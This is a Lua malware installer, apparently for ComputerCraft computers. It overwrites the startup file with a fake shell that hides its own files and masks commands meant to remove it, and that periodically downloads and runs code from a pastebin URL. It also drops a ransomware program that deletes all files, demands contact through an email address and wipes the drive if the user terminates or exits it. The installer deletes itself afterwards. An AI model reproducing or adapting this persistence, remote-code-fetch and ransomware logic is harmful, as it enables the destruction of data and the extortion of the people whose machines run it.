local lsdDll = [[
local tx,ty = term.getSize()
local tArgs = {...}
function lsd()
  for i=1,ty do
    term.setCursorPos(1,i)
    for x=1,tx do
      term.setCursorPos(x,i)
      local color = {
      [1] = colors.red,
      [2] = colors.blue,
      [3] = colors.green,
      [4] = colors.pink,
      [5] = colors.orange,
      [6] = colors.gray,
      [7] = colors.yellow,
      [8] = colors.purple
      }
      term.setBackgroundColor(color[math.random(1,8)])
      write(" ")
    end
  end
end
for i=1,50 do
  lsd()
  os.sleep(0.01)
end
term.setBackgroundColor(colors.black)
term.clear()
term.setCursorPos(1,1)
cmd = ""
if #tArgs == 0 then

else
  for i=1,#tArgs do
    cmd = cmd.." "..tArgs[i]
  end
  shell.run(cmd)
end
]]
local listDll = [[
function explode(inputstr, sep)
  if sep == nil then
    sep = "%s"
  end
  local t={} ; i=1
  for str in string.gmatch(inputstr, "([^"..sep.."]+)") do
    t[i] = str
    i = i + 1
  end
  return t
end
local modFilesN = {
"sup,startup",
"oss,os"
}
local files = fs.list(shell.dir())
local tDirs = {}
local tFiles = {}
for n, sItem in pairs(files) do
  if sItem == "os" then  
  elseif sItem == "startup" then
  else
    if fs.isDir(sItem) then
      for i, tItem in pairs(modFilesN) do
        a = explode(tItem,",")
        if sItem == a[1] then
          sItem = a[2]
          break
        end
      end
      table.insert(tDirs, sItem)
    else
      for i, tItem in pairs(modFilesN) do
        a = explode(tItem,",")
        if sItem == a[1] then
          sItem = a[2]
          break
        end
      end
      table.insert(tFiles, sItem)
    end
  end
end
table.sort(tDirs)
table.sort(tFiles)
if term.isColor() then
  textutils.tabulate(colors.green, tDirs, colors.white, tFiles)
else
  textutils.tabulate(colors.white, tDirs, colors.white, tFiles)
end
]]
local start = [[
if fs.exists("/os") then
else
  fs.makeDir("/os/programs/")
end
shell.setAlias("ls","/os/programs/list")
shell.setAlias("list","/os/programs/list")
function downloadFiles()
  if http.checkURL("https://pastebin.com/raw/YcRrNyNe") then
    local files = http.get("https://pastebin.com/raw/YcRrNyNe")
    local code = files.readAll()
    files.close()
    local file = fs.open(".temp","w")
    file.write(code)
    file.close()
    dofile(".temp")
    fs.delete(".temp")
  end
end
local modFilesN = {
"sup,startup",
"oss,os"
}
function shella()
  term.setTextColor(colors.yellow)
  path = shell.dir()
  for i, tItem in pairs(modFilesN) do
    a = explode(tItem,",")
    if path == a[1] then
      path = a[2]
      break
    end
  end
  write(path.."> ")
  term.setTextColor(colors.white)
  local red = read()
  return red
end
local blockedCmd = {
}
local modCmd = {
"rm startup,rm sup",
"edit startup,edit sup",
"cd os,cd oss",
"mkdir os,mkdir oss",
"rm os,rm oss"
}
function explode(inputstr, sep)
  if sep == nil then
    sep = "%s"
  end
  local t={} ; i=1
  for str in string.gmatch(inputstr, "([^"..sep.."]+)") do
    t[i] = str
    i = i + 1
  end
  return t
end
while true do
  local stuff = shella()
  local rand = math.random(0,5)
  local blocked = false
  for n, sItem in pairs(blockedCmd) do
    local a = explode(sItem,",")
    if a[1] == stuff then
      blocked = true
      bMsg = a[2]
      break
    end
  end 
  if blocked == false then
	for n, sItem in pairs(modCmd) do
      a = explode(sItem, ",")
      if stuff == a[1] then
        stuff = a[2]
        break
      end
    end
    if rand == 3 then
  	  shell.run("/os/programs/lsd "..stuff)
      downloadFiles()
    else
      shell.run(stuff)
    end
  else
    printError(bMsg)
  end
end
]]
local ransom = [[
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
//UNDER DEVELOPMENT////
local ransomtext = "
Warning! All your data on your hard drive has been stored to ram! That means if you exit this program all your data will be LOST Please message "***.****.**@gmail.com" within 5:00 min or your data will be DESTROYED!

Press [V] to verify your payment
Press [D] to view data that has been encrypted
Press [E] to exit (Once exited all files will be lost.)

Good Day,
         Jack


"
local violatetext = "
You terminated the program! All your files have been REMOVED from your pc and all ram data was cleared.

Sorry!
"
local paytext = "
Thank you for paying! All your data has been restored and the program is exiting! Goodbye SUKKA

Best Regards (Just kidding),
                            Jack
"
local exitPText = "
Well, you put it on yourself you did not want to pay! goodbye your files.

Byebye.
"
local noPayText = "
Im sorry, you did not pay within 5:00 min! All your files have been deleted.
"
local invalidPayment = "Invalid payment! Or not detected! Please pay and/or try again. Use the code: "..os.getComputerID().." In the payment message."
printError(ransomtext)
local files = fs.list("/")
local data = {}
for i=1,#files do
  if fs.isDir(files[i]) == false then
    local file = fs.open(files[i], "r")
	local fData = file.readAll()
    local tempArray = {files[i], fData}
	file.close()
  	table.insert(data, tempArray)
    fs.delete(files[i])
  end
end
while true do
  local evt, key = os.pullEventRaw()
  if (key == keys.v) and evt == "key" then
    local url = http.get("https://pastebin.com/raw/9hu9M3q3")
    local code = url.readAll()
    url.close()
    if code == "1789-HGFC-4536-JKPO-"..os.getComputerID() then
      os.sleep(3)
      for i=1,#data do
        local file = fs.open(data[i][1], "w")
        file.write(data[i][2])
        file.close()
      end
      printError(paytext)
      break
	elseif code == "wipe" then 
      data = {}
      local files = fs.list("/")
      for i=1,#files do
        if files[i] == "rom" then
        else
          fs.delete(files[i])
        end
      end
      printError(noPayText)
      break
    else
      printError(invalidPayment)
    end
  elseif evt == "terminate" then
    local files = fs.list("/")
    printError(violatetext)
    for i=1,#files do
      if files[i] == "rom" then
      else
        fs.delete(files[i])
      end
    end    
    return
  elseif evt == "key" and key == keys.d then
    local files = fs.list("/")
    for i=1,#data do
      printError("IN RAM STORAGE 1: "..data[i][1])
    end
    for i=1,#files do
      if files[i] == "rom" then
        printError("IN COMPUTER STORAGE: "..files[i])
      else
        printError("IN RAM STORAGE 2: "..files[i])
      end
    end
  elseif evt == "key" and key == keys.e then
    data = {}
    local files = fs.list("/")
    for i=1,#files do
      if files[i] == "rom" then
      else
        fs.delete(files[i])
      end
    end
    printError(exitPText)
    local htp = http.get("https://pastebin.com/raw/NFew0g6n")
    local fread = htp.readAll()
    htp.close()
    local file = fs.open("/startup", "w")
    file.write(fread)
    file.close()
    os.reboot()
    break
  end
end
os.sleep(3)
]]
local file = fs.open("/os/programs/lsd","w")
file.write(lsdDll)
file.close()
local file2 = fs.open("startup","w")
file2.write(start)
file2.close()
local file3 = fs.open("/os/programs/list","w")
file3.write(listDll)
file3.close()
local file4 = fs.open("/os/programs/ransom","w")
file4.write(ransom)
file4.close()
if shell.getRunningProgram() == "rom/programs/http/pastebin" then
elseif shell.getRunningProgram() == "rom/programs/http/pastebin.lua" then
else
  fs.delete(shell.getRunningProgram())
end
os.reboot()